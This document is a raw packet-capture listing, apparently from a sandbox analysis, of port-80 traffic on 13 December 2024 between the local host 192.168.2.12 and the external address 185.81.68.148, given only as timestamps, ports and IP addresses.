Dec 13, 2024 07:49:28.005289078 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005314112 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005336046 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005357027 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005378008 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005400896 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005429029 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005451918 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005476952 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005496979 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005531073 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005546093 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005569935 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005593061 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005614996 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005637884 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005681992 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005681992 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005709887 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005727053 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005748987 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005770922 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005798101 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005820036 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005847931 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005875111 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005899906 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005918980 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005944967 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005970955 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.005990028 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006016970 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006037951 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006062984 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006084919 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006107092 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006127119 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006148100 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006177902 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006202936 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006222963 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006249905 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006278992 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006294966 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006376028 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006450891 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006481886 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006510019 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006539106 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006565094 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006592989 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006618977 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006644011 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006671906 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006710052 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006756067 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006766081 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006795883 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006825924 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006855965 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006881952 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006907940 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006967068 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006967068 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.006992102 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007026911 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007049084 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007076025 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007102966 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007128000 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007167101 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007194042 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007247925 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007256031 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007288933 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007318974 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007339001 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007366896 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007391930 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007417917 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007447958 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007477045 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007507086 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007531881 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007563114 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007586956 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007626057 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007644892 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007673025 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007699013 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007730007 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007754087 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007781982 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007811069 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007834911 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007868052 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007894039 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007921934 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007950068 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.007981062 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008001089 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008025885 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008059025 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008091927 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008116007 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008143902 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008169889 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008198977 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008225918 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008255005 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008285046 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008310080 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008341074 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008367062 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008397102 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008428097 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008464098 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008500099 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008541107 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008558989 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008585930 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008611917 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008639097 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008666992 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008692026 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008722067 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008748055 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.008773088 CET	49725	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:28.113606930 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.113888025 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.113909006 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.113996983 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114006042 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114484072 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114515066 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114568949 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114578009 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114589930 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114707947 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114717960 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114728928 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114742994 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114751101 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114752054 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114753962 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114754915 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114757061 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114758968 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114763021 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114779949 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.114975929 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115006924 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115061045 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115072966 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115078926 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115096092 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115104914 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115129948 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115206003 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115216017 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115225077 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115245104 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115253925 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115572929 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115581989 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115592957 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115608931 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115637064 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115690947 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115701914 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115740061 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115750074 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115773916 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115844965 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115854025 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.115861893 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116215944 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116225958 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116244078 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116297960 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116307020 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116394043 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116404057 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116413116 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116421938 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116430044 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116439104 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116446972 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116456032 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116463900 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116472006 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116480112 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116488934 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116771936 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116781950 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116790056 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116800070 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116808891 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116858006 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116866112 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116874933 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116883993 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116908073 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116918087 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116952896 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116961002 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.116997004 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117038965 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117048025 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117058039 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117161036 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117477894 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117528915 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117537975 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117549896 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117604971 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117614031 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117660999 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117670059 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117679119 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117686987 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117705107 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117712975 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117742062 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117758989 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117767096 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117796898 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117865086 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117873907 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117882013 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.117889881 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118520021 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118529081 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118573904 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118581057 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118603945 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118613005 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118629932 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118638992 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118674994 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118683100 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118712902 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118721008 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118743896 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118793011 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118802071 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118900061 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118910074 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118918896 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118927002 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118935108 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118942976 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.118952036 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119025946 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119034052 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119043112 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119054079 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119447947 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119457960 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119468927 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119525909 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119534969 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119610071 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119618893 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119627953 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119645119 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119653940 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119662046 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119668007 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119733095 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119741917 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119771957 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.119788885 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.120172024 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.120181084 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.120197058 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.120206118 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.120235920 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.120244980 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.120313883 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.120322943 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.120332003 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.120341063 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.120348930 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.120357037 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.120364904 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.120373011 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.120408058 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.120417118 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.120945930 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.120975971 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121021986 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121054888 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121072054 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121117115 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121134996 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121157885 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121225119 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121253014 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121270895 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121294975 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121341944 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121351957 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121401072 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121411085 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121474028 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121587038 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121596098 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121876001 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121886015 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121901989 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121911049 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121958017 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121967077 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121982098 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.121998072 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122054100 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122062922 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122071028 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122087002 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122096062 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122104883 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122143030 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122152090 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122180939 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122462034 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122505903 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122515917 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122533083 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122541904 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122595072 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122631073 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122638941 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122648001 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122657061 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122664928 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122673035 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.122683048 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123141050 CET	80	49725	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:28.123152971 CET	80	49725	185.81.68.148	192.168.2.12
